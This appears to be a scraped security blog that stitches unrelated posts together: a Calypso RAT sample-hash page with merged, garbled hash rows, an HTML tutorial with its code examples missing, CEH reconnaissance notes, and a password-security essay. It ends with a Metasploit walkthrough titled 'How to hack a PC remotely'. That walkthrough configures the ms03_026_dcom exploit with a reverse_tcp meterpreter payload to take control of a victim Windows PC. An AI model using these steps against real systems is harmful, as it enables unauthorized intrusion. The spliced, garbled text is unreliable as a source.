sábado, 6 de junho de 2020

APT Calypso RAT, Flying Dutchman Samples



Reference


 Attackers exploit Windows SMB vulnerability CVE-2017-0143 or use stolen credentials to gain access, deploy the custom Calypso RAT and use it to upload other tools such as Mimikatz, EternalBlue and EternalRomance. They move laterally and steal data.




Download

             Other malware




Hashes




MD5SHA256SHA1FilenameFile TyeeStage
aa1cf5791a60d56f7ae6da9bb1e7f01ed5afa3bfd423ba060207ad025467feaa56ac53d13616ac8782a7f63c9fc0fdb4bdd8b9115d1ae536d0ea1e62052485e5ad10761fMPSSVC.dllpe dllCalypso RAT Payload
1e765fed294a7ad082169819c95d2c85f6a09372156a8aef96576627a1ed9e57f194b008bb77e32ca29ac89505f933f060dda7ccd9ae00701046923b619a1b9c33c8e2acWscntfy.exepe exeCalypso RAT Dropper
17e05041730dcd0732e5b296db16d757b6c21c26aef75ad709f6c9cfa84bfa15b7ee709588382ce4bc3544a04bceb661f3301405d8ad5b160747241d6b2a8d88bf6292e8pe exeCalypso RAT Dropper
1ed72c14c4aab3b66e830e16ef90b37beebff21def49af4e85c26523af2ad659125a07a09db50ac06bd3746483c89f9ddc0d0a34f107d140d9e47582e17a7fec945403eacoal.exepe exeCalypso RAT Dropper
e24a62d9826869bc4817366800a8805cc407c3dde18c9b56ed24492ca257d77a570616074356b8c7854a080823f7ee1753791c9e7c41931a6becb999fee4eb7daf9b1a11data01.binpe dllCalypso RAT Dropper
c9c39045fa14e94618dd631044053824ab39301d45045172ad41c9a89210fdc6f0d3f9dccb567fd733b0dbffbfcfbcc31cda28bc307c09508dbb1f3495a967bbcc29326epe exeCalypso RAT Dropper
69322703b8ef9d490a20033684c28493e6a3b43acdaa824f3280095b10798ea341839f7d43f0460df8989f13c98fa6e0f203680d97705d99f92fe9797691be6177f5fd41RasCon.dllpe dllCalypso RAT Dropper
85ce60b365edf4beebbdd85cc971e84d5dfdee5dd680948d19ab4d16df534cf10aca5fa0b157c59659d6517fe897c62fd9c14f7b6de8e26ae33e41a72ae8e35bb1af4434pe exeCalypso RAT Dropper
6347e42f49a86aff2dea7c8bf455a52a281583aca23f8fd8745dd88a600cbfc578d819859a13957ec022b86c3c1c99f48b2a81af85590e0e36efc1c05aa4f0600ea21545HIDMgr.dllpe dllCalypso RAT Dropper
cb914fc73c67b325f948dd1bf97f57330031c7b63c1e1cd36d55f585d97e2b21a13a19858d5a1aa5455e5cc64b41e6e937ce4d0a3168e3b2f80b3fae38082e68a454aee0pe exeCalypso RAT Dropper
c84df4b2cd0d3e7729210f15112da7ac4e8351ddaff18f7df6fcc27a3c75598e0c56d3b406818d45effb4e78616092c241a0c5a1aad36f405c8755613c732591e3300f97mscorsvw.dllpe dllCalypso RAT Dropper
5199ef9d086c97732d97eddef56591ec511683c8ee62478c2b45be1f782ce678bbe03c4349a1778651414803010b3ee9d19a786adc09dff84642f2c2e0386193fa2a914bdnscache.dllpe dllFlyingDutchman
06c1d7bf234ce99bb14639c194b3b318a9a82099aa812d0c4025bee2b34f3b34c1d102773e36f1d50648815913dbe03d464ab9e11d371bf24de46c98c295d4afe7e957c1fromResource.exepedllFlyingDutchman
617d588eccd942f243ffa8cb13679d9c0664b09a86ec2df7dfe01a93e184a1fa23df66ea82cab39000944e418ec1f7b21b043fdcb582ed13cbf7dabcef6527762b5be93cpe dllHussar
2807236c2d905a0675878e530ed8b1f8314e438198f8cc2ee393c75f8e9f2ebd2b5133fd6f2b7deb1178f82782fc63302f6fe857632a67e87f4f3631bfa93713ccdf168aAeLookupMgr.dllpe dllCalypso RAT Payload
cce8c8ee42feaed68e9623185c3f7fe438cc404437b936660066b71cc87a28af1995248d6d4c471706eb1dd347129b4b9d2235c911b86bb6ad55d953a2f56ea78c5478e5AppCert.dll.crtCalypso RAT Payload
e1a578a069b1910a25c95e2d9450c710413622ded5d344a5a78de4fea22cfdabdeb4cdccf69e9a1f58f668096c32473836087a5b0809dc3f9dc5a77355a88e99af491a88RasCfgMan.dll.crtCalypso RAT Payload
0d532484193b8b098d7eb14319cefcd3f8043d6bfc3e63d8561f7f74e65cb7ff1731577ecf6c7559795d9de21298f0fc31f4c6dc6ce78b4e0439b30c830dfd5d9a3fc4feRasCfgMan.dllpe dllCalypso RAT Payload
974298eb7e2adfa019cae4d1a927ab070461710e681fd6dc9f1c83b57f94a88cd6df9e6432174cbfdd70dfd24577a0f841bc37679ce3caeecc176d10b4f8259918e25807VirtualUMP.dll.crtCalypso RAT Payload
05f472a9d926f4c8a0a372e1a71939988017923cd8169bf951106f053408b425f1eb310a9421685638ead55bb3823db38d909bd3450ebe0cffd0cb17b91bc28d23ef5083EFSProvider.dll.crtCalypso RAT Payload
d1a1166bec950c75b65fdc7361dcdc63f3f38c097b0cc5337b7d2dbec098bf6d0a3bb4a3e0336e7b1c8af75268a0a49d5731350f68a74fb4762c4ea878ecff635588a825RasCon.dllpe dll 64bits assemblyCalypso RAT Payload
e3e61f30f8a39cd7aa25149d0f8af5efc4dc7519bccc24c53794bf9178e4a4d0823875c34479d01cedbb3e9b10f5c7301b75ea494c3ac171c5177bdcc263b89a3f24f207MPSSVC.dllpe dllCalypso RAT Payload

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Chapter 1To 5 HTML

Contents

 
About
 
................................................................................................................................................................................... 1
 
Chapter 1: Getting started with HTML
 
................................................................................................................ 2
 
Section 1.1: Hello World 2
 
Chapter 2: Doctypes
 
.................................................................................................................................................... 4
 
Section 2.1: Adding the Doctype 4
Section 2.2: HTML 5 Doctype 4
 
Chapter 3: Headings
 
.................................................................................................................................................... 5
 
Section 3.1: Using Headings 5
 
Chapter 4: Paragraphs
 
.............................................................................................................................................. 6
 
Section 4.1: HTML Paragraphs
Chapter 5: Text Formatting
 
.....................................................................................................................................  6
.....................................................................................................................................  7
 
Section 5.1: Highlighting 7
Section 5.2: Bold, Italic, and Underline 7
Section 5.3: Abbreviation 8
Section 5.4: Inserted, Deleted, or Stricken 8
Section 5.5: Superscript and Subscript 8
 
Chapter 1: Getting started with HTML

Version Specification Release Date
1.0 N/A 1994-01-01
2.0 RFC 1866
1995-11-24
3.2 W3C: HTML 3.2 Specification
1997-01-14
4.0 W3C: HTML 4.0 Specification
1998-04-24
4.01 W3C: HTML 4.01 Specification
1999-12-24
5 WHATWG: HTML Living Standard
2014-10-28
5.1 W3C: HTML 5.1 Specification
2016-11-01
Section 1.1: Hello World
Introduction

HTML (Hypertext Markup Language) uses a markup system composed of elements which represent specific content. Markup means that with HTML you declare what is presented to a viewer, not how it is presented. Visual representations are defined by Cascading Style Sheets (CSS) and realized by browsers. Still existing elements that allow for such, like e.g. font, "are entirely obsolete, and must not be used by authors"[1].
HTML is sometimes called a programming language but it has no logic, so is a markup language. HTML tags provide semantic meaning and machine-readability to the content in the page.
An element usually consists of an opening tag (<element_name>), a closing tag (</element_name>), which contain the element's name surrounded by angle brackets, and the content in between:
<element_name>...content...</element_name>

There are some HTML elements that don't have a closing tag or any contents. These are called void elements. Void elements include <img>, <meta>, <link> and <input>.
Element names can be thought of as descriptive keywords for the content they contain, such as video, audio, table, footer.
A HTML page may consist of potentially hundreds of elements which are then read by a web browser, interpreted and rendered into human readable or audible content on the screen.
For this document it is important to note the difference between elements and tags:

Elements: video, audio, table, footer

Tags: <video>, <audio>, <table>, <footer>, </html>, </body>


Element insight

Let's break down a tag...

The <p> tag represents a common paragraph.

Elements commonly have an opening tag and a closing tag. The opening tag contains the element's name in angle brackets (<p>). The closing tag is identical to the opening tag with the addition of a forward slash (/) between the opening bracket and the element's name (</p>).
Content can then go between these two tags: <p>This is a simple paragraph.</p>.
 
Creating a simple page

The following HTML example creates a simple "Hello World" web page.

HTML files can be created using any text editor. The files must be saved with a .html or .htm[2] extension in order to be recognized as HTML files.

Once created, this file can be opened in any web browser.




Simple page break down

These are the tags used in the example:

Tag Meaning
<!DOCTYPE> Defines the HTML version used in the document. In this case it is HTML5.
See the doctypes topic for more information.
Opens the page. No markup should come after the closing tag (</html>). The lang attribute declares
 
<html>


<head>



<meta>
 
the primary language of the page using the ISO language codes (en for English). See the Content Language topic for more information.
Opens the head section, which does not appear in the main browser window but mainly contains information about the HTML document, called metadata. It can also contain imports from external stylesheets and scripts. The closing tag is </head>.
Gives the browser some metadata about the document. The charset attribute declares the character encoding. Modern HTML documents should always use UTF-8, even though it is not a requirement. In HTML, the <meta> tag does not require a closing tag.
See the Meta topic for more information.
 
<title> The title of the page. Text written between this opening and the closing tag (</title>) will be displayed on the tab of the page or in the title bar of the browser.
<body> Opens the part of the document displayed to users, i.e. all the visible or audible content of a page. No content should be added after the closing tag </body>.
<h1> A level 1 heading for the page.
See headings for more information.
<p> Represents a common paragraph of text.

1. ↑ HTML5, 11.2 Non-conforming features
2. ↑ .htm is inherited from the legacy DOS three character file extension limit.
 
Chapter 2: Doctypes

Doctypes - short for 'document type' - help browsers to understand the version of HTML the document is written in for better interpretability. Doctype declarations are not HTML tags and belong at the very top of a document. This topic explains the structure and declaration of various doctypes in HTML.
Section 2.1: Adding the Doctype
The <!DOCTYPE> declaration should always be included at the top of the HTML document, before the <html> tag.

Version ≥ 5

See HTML 5 Doctype for details on the HTML 5 Doctype.


Section 2.2: HTML 5 Doctype
HTML5 is not based on SGML (Standard Generalized Markup Language), and therefore does not require a reference to a DTD (Document Type Definition).
HTML 5 Doctype declaration:

Case Insensitivity

Per the W3.org HTML 5 DOCTYPE Spec:

A DOCTYPE must consist of the following components, in this order:

1. A string that is an ASCII case-insensitive match for the string "<!DOCTYPE".

therefore the following DOCTYPEs are also valid:


This SO article discusses the topic extensively: Uppercase or lowercase doctype?
 
Chapter 3: Headings

HTML provides not only plain paragraph tags, but six separate header tags to indicate headings of various sizes and thicknesses. Enumerated as heading 1 through heading 6, heading 1 has the largest and thickest text while heading 6 is the smallest and thinnest, down to the paragraph level. This topic details proper usage of these tags.
Section 3.1: Using Headings
Headings can be used to describe the topic they precede and they are defined with the <h1> to <h6> tags. Headings support all the global attributes.

<h1> defines the most important heading.
<h6> defines the least important heading.

Defining a heading:

Correct structure matters

Search engines and other user agents usually index page content based on heading elements, for example to create a table of contents, so using the correct structure for headings is important.
In general, an article should have one h1 element for the main title followed by h2 subtitles – going down a layer if necessary. If there are h1 elements on a higher level they shoudn't be used to describe any lower level content.

Example document (extra intendation to illustrate hierarchy):

 
Chapter 4: Paragraphs

Column Column
<p> Defines a paragraph
<br> Inserts a single line break
<pre> Defines pre-formatted text

Paragraphs are the most basic HTML element. This topic explains and demonstrates the usage of the paragraph element in HTML.

Section 4.1: HTML Paragraphs

The HTML <p> element defines a paragraph:


Display-

You cannot be sure how HTML will be displayed.

Large or small screens, and resized windows will create different results.

With HTML, you cannot change the output by adding extra spaces or extra lines in your HTML code. The browser will remove any extra spaces and extra lines when the page is displayed:
 
Chapter 5: Text Formatting

While most HTML tags are used to create elements, HTML also provides in-text formatting tags to apply specific text-related styles to portions of text. This topic includes examples of HTML text formatting such as highlighting, bolding, underlining, subscript, and stricken text

Section 5.1: Highlighting

The <mark> element is new in HTML5 and is used to mark or highlight text in a document "due to its relevance in another context".1

The most common example would be in the results of a search were the user has entered a search query and results are shown highlighting the desired query.


Output:


A common standard formatting is black text on a yellow background, but this can be changed with CSS.

Section 5.2: Bold, Italic, and Underline
Bold Text

To bold text, use the <strong> or <b> tags:


or


What's the difference? Semantics. <strong> is used to indicate that the text is fundamentally or semantically important to the surrounding text, while <b> indicates no such importance and simply represents text that should be bolded.

If you were to use <b> a text-to-speech program would not say the word(s) any differently than any of the other words around it - you are simply drawing attention to them without adding any additional importance. By using
<strong>, though, the same program would want to speak those word(s) with a different tone of voice to convey that the text is important in some way.

Italic Text

To italicize text, use the <em> or <i> tags:

 
or


What's the difference? Semantics. <em> is used to indicate that the text should have extra emphasis that should be stressed, while <i> simply represents text which should be set off from the normal text around it.

For example, if you wanted to stress the action inside a sentence, one might do so by emphasizing it in italics via
<em>: "Would you just submit the edit already?"

But if you were identifying a book or newspaper that you would normally italicize stylistically, you would simply use
<i>: "I was forced to read Romeo and Juliet in high school.

Underlined Text

While the <u> element itself was deprecated in HTMl 4, it was reintroduced with alternate semantic meaning in HTML 5 - to represent an unarticulated, non-textual annotation. You might use such a rendering to indicate misspelled text on the page, or for a Chinese proper name mark.


Section 5.3: Abbreviation

To mark some expression as an abbreviation, use <abbr> tag:


If present, the title attribute is used to present the full description of such abbreviation.

Section 5.4: Inserted, Deleted, or Stricken

To mark text as inserted, use the <ins> tag:


To mark text as deleted, use the <del> tag:


To strike through text, use the <s> tag:


Section 5.5: Superscript and Subscript

To offset text either upward or downward you can use the tags <sup> and <sub>. To create superscript:
 

To create subscript:
 
@EVERYTHINGNT
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LEGALITY OF ETHICAL HACKING

Why ethical hacking?
Legality of Ehical Hacking
 
Ethical hacking is legal if the hacker abides by the rules stipulated in above section on the definition of ethical hacking.

Ethical hacking is not legal for black hat hackers.They gain unauthorized access over a computer system or networks for money extortion.
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Memoryze


"MANDIANT Memoryze is free memory forensic software that helps incident responders find evil in live memory. Memoryze can acquire and/or analyze memory images, and on live systems can include the paging file in its analysis." read more...

Download: http://fred.mandiant.com/MemoryzeSetup.msi

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sexta-feira, 5 de junho de 2020

CEH Practical: Gathering Target Information: Reconnaissance And Competitive Intelligence

CEH Exam Objectives:

Describe Reconnaissance. 

Describe aggressive/competitive intelligence.


Reconnaissance

 Reconnaissance is the process of gathering informative data about a particular target of a malicious hack by exploring the targeted system. Basically two types of Reconnaissance exist i.e. Active and Passive. Active reconnaissance typically related to port scanning and observing the vulnerabilities about the targeted system (i.e., which ports are left vulnerable and/or if there are ways around the firewall and routers). Passive reconnaissance typically you will not be directly connected to a computer system. This process is used to gather essential information without ever interacting with the target systems.

Understand Aggressive Intelligence 

Competitive intelligence means information gathering about competitors' products, marketing, and technologies. Most competitive intelligence is non intrusive to the company being investigated and is benign in nature. It's used for product comparison or as a sales and marketing tactic to better understand how competitors are positioning their products or services.

Online tools to gather competitive intelligence

Exercise 1.1

Using KeywordSpy 

To use the KeywordSpy online tool to gather competitive intelligence information:  
  • Go to the www.keywordspy.com website and enter the website address of the target in the search field 

  • Review the report and determine valuable keywords, links, or other information.

 

Exercise 1.2

Using spyfu

  • Go to your browser and type www.spyfu.com and enter the website address of the target in the search field.

Exercise 1.3

Using the EDGAR Database to Gather Information

1. Determine the company's stock symbol using Google.

2. Open a web browser to www.sec.gov.


3. On the right side of the page, click the link EDGAR Filers. 


4. Click the Search For Filings menu and enter the company name or stock  symbol to search the filings for information. You can learn, for example, where the company is registered and who reported the filing.

5. Use the Yahoo! yellow pages ( http://yp.yahoo.com ) to see if an address or phone number is listed for any of the employee names you have located.

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Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 1


TL;DR: different passwords have different protection requirements, and different attackers using various attacks can only be prevented through different prevention methods. Password security is not simple. For real advise, checking the second post (in progress).

Are you sick of password advices like "change your password regularly" or "if your password is password change it to pa$$w0rd"? This post is for you!

The news sites are full of password advises nowadays due to recent breaches. When I read/watch these advise (especially on CNN), I am usually pissed off for a lot of reasons. Some advises are terrible (a good collection is here), some are good but without solutions, and others are better, but they don't explain the reasons. Following is my analysis of the problem. It works for me. It might not work for you. Comments are welcome!

Password history

Passwords have been used since ancient times.


Because it is simple. When I started using the Internet, I believe I had three passwords. Windows login, webmail, and IRC. Now I have ~250 accounts/passwords to different things, like to my smartphone, to my cable company (this password can be used to change the channels on the TV), to my online secure cloud storage, to full disk encryption to start my computer, to my nude pictures, to my WiFi router, to my cloud server hosting provider, etc etc etc. My money is protected with passwords, my communication is protected with passwords/encryption, my work is protected with passwords. It is pretty damn important. But yet people tend to choose lame passwords. Pretty lame ones. Because they don't think it can be significant. But what is not essential today will be relevant tomorrow. The service you used to download music (iTunes) with the lame password will one day protect all your Apple devices, where attackers can download your backup files, erase all your devices, etc. The seven-character and one capital rule is not enough anymore. This advice is like PDF is safe to open, Java is secure. Old, outdated, untrue.

Now, after this lengthy prologue, we will deep dive into the analysis of the problem, by checking what we want to protect, against whom (who is the attacker), and only after that, we can analyze the solutions. Travel with me, I promise it will be fun! ;)

What to protect?

There are different services online, and various services need different ways to protect. You don't use the same lock on your Trabant as you do on your BMW.

Internet banking, online money

For me, this is the most vital service to protect. Luckily, most of the internet banking services use two-factor authentication (2FA), but unfortunately, not all of them offer transaction authorization/verification with complete transactions. 2FA is not effective against malware, it just complicates the attack. Transaction authorization/verification is better, but not perfect (see Zitmo). If the access is not protected with 2FA, better choose the best password you have (long, real random, sophisticated, but we will get to this later). If it is protected with 2FA, it is still no reason not to use the best password ;) This is what I call the "very high-level password" class.


Credit card data

This system is pretty fucked up bad. Something has to be secret (your credit card number), but in the meantime that is the only thing to identify your credit card. It is like your username is your password. Pretty bad idea, huh? The problem is even worse with a lot of different transaction types, especially when the hotel asks you to fax both sides of your CC to them. Unfortunately, you can't change the password on your credit card, as there is no such thing, but Verified by VISA or 3-D Secure with 2FA might increase the chances your credit card won't get hacked. And on a side note, I have removed the CVV numbers from my credit/debit cards. I only read it once from the card when I received it, I don't need it anymore to be printed there.
And sometimes, you are your own worst enemy. Don't do stupid things like this:


Work related passwords (e.g. Windows domain)

This is very important, but because the attack methods are a bit different, I created this as a different category. Details later.

Email, social sites (Gmail/Facebook/Twitter), cloud storage, online shopping

This is what I call the "high level password" class.
Still, pretty important passwords. Some people don't understand "why would attackers put any energy to get his Facebook account?" It is simple. For money. They can use your account to spread spam all over your Facebook wall. They can write messages to all of your connections and tell them you are in trouble and send money via Western Union or Bitcoin.


They can use your account in Facebook votes. Your e-mail, cloud storage is again very important. 20 years ago you also had letters you didn't want to print and put in front of the nearest store, neither want you to do that with your private photo album. On a side note, it is best to use a cloud storage where even the cloud provider admin can't access your data. But in this case, with no password recovery option, better think about "alternative" password recovery mechanisms.

Other important stuff with personal data (e.g. your name, home address)

The "medium level password" class. This is a personal preference to have this class or not, but in the long run, I believe it is not a waste of energy to protect these accounts. These sites include your favorite pizza delivery service, your local PC store, etc.

Not important stuff

This is the category other. I usually use one-time disposable e-mail to these services. Used for the registration, get what I want, drop the email account. Because I don't want to spread my e-mail address all over the internet, whenever one of these sites get hacked. But still, I prefer to use different, random passwords on these sites, although this is the "low level password" class.

Attackers and attack methods

After categorizing the different passwords to be protected, let's look at the different attackers and attack methods. They can/will/or actively doing it now:

Attacking the clear text password 

This is the most effective way of getting the password. Bad news is that if there is no other factor of protection, the victim is definitely not on the winning side. The different attack methods are:

  • phishing sites/applications,


  • social engineering,
  • malware running on the computer (or in the browser), 
  • shoulder surfing (check out for smartphones, hidden cameras), 
  • sniffing clear-text passwords when the website is not protected with SSL,
  • SSL MiTM,
  • rogue website administrator/hacker logging clear text passwords,
  • password reuse - if the attacker can get your password in any way, and you reuse it somewhere else, that is a problem,
  • you told your password to someone and he/she will misuse it later,
  • hardware keyloggers,
  • etc.

The key thing here is that no matter how long your passwords are, no matter how complex it is, no matter how often do you change it (except when you do this every minute ... ), if it is stolen, you are screwed. 2FA might save you, or might not.

Attacking the encrypted password 

This is the usual "hack the webserver (via SQL injection), dump the passwords (with SQLMap), post hashes on pastebin, everybody starts the GPU farm to crack the hashes" scenario. This is basically the only scenario where the password policies makes sense. In this case the different level of passwords need different protection levels. In some cases, this attack turns out to be the same as the previous attack, when the passwords are not hashed, or are just encoded.

The current hash cracking speeds for hashes without any iterations (this is unfortunately very common) renders passwords like Q@tCB3nx (8 character, upper-lowercase, digit, special characters) useless, as those can be cracked in hours. Don't believe me? Let's do the math.

Let's say your password is truly random, and randomly choosen from the 26 upper, 26 lower, 10 digit, 33 special characters. (Once I tried special passwords with high ANSI characters inside. It is a terrible idea. Believe me.). There are 6 634 204 312 890 620 different, 8 character passwords from these characters. Assuming a 2 years-old password cracking rig, and MD5 hash cracking with 180 G/s speed, it takes a worst case 10 hours (average 5) to crack the password, including upgrading your bash to the latest, but still vulnerable bash version. Had the password been 10 characters long, it would take 10 years to crack with today hardware. But if the password is not truly random, it can be cracked a lot sooner.

A lot of common hashing algorithms don't use protections against offline brute-force attacks. This includes LM (old Windows hashes), NTLM (modern Windows hashes), MD-5, SHA1-2-512. These hashing algorithms were not developed for password hashing. They don't have salting, iterations, etc. out of the box. In the case of LM, the problem is even worse, as it converts the lowercase characters to uppercase ones, thus radically decreasing the key space. Out of the box, these hashes are made for fast calculation, thus support fast brute-force.


Another attack is when the protected thing is not an online service, but rather an encrypted file or crypto-currency wallet.

Attacking the authentication system online

This is what happened in the recent iCloud hack (besides phishing). Attackers were attacking the authentication system, by either brute-forcing the password, or bypassing the password security by answering the security question. Good passwords can not be brute-forced, as it takes ages. Good security answers have nothing to do with the question in first place. A good security answer is as hard to guess as the password itself. If password recovery requires manual phone calls, I know, it is a bit awkward to say that your first dog name was Xjg.2m`4cJw:V2= , but on the other hand, no one will guess that!


Attacking single sign on

This type of attack is a bit different, as I was not able to put the "pass the hash" attacks anywhere. Pass the hash attack is usually found in Windows domain environments, but others might be affected as well. The key thing is single sign on. If you can login to one system (e.g. your workstation), and access many different network resources (file share, printer, web proxy, e-mail, etc.) without providing any password, then something (a secret) has to be in the memory which can be used to to authenticate to the services. If an attacker can access this secret, he will be able to access all these services. The key thing is (again) it does not matter, how complex your passwords are, how long it is, how often do you change, as someone can easily misuse that secret.

 

Attacking 2FA

As already stated, 2 factor authentication raises the efforts from an attacker point of view, but does not provide 100% protection. 
  • one time tokens (SecurID, Yubikey) can be relayed in a man-in-the-middle attack
  • smartcard authentication can be relayed with the help of a malware to the attacker machine - or simply circumvented in the browser malware, 
  • text based (SMS) messages can be stolen by malware on the smartphone or rerouted via SS7, 
  • bio-metric protection is constantly bypassed,
  • SSH keys are constantly stolen,
  • but U2F keys are pretty good actually, even though BGP/DNS hijack or similar MiTM can still circumvent that protection,
  • etc. 


Others

Beware that there are tons of other attack methods to access your online account (like XSS/CSRF), but all of these have to be handled on the webserver side. The best you can do is to choose a website where the Bug Bounty program is running 24/7. Otherwise, the website may be full of low hanging, easy-to-hack bugs.

Now that we have covered what we want to protect against what, in the next blog post, you will see how to do that. Stay tuned. I will also explain the title of this blog post.Related links
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How To Bind Payload Any Software Using Shellter

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HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.
  • Linux Machine (Kali Linux or BackTrack 5)
  • Metasploit (Built in the mentioned Linux OS)
  • Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.
  • Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
  • We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
  • After the initialization of msfconsole, standard checks, we will see the window like below.
  • Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
  • Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
  • As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
  • Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
  • Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
  • Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
  • Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
  • Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server.  To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.
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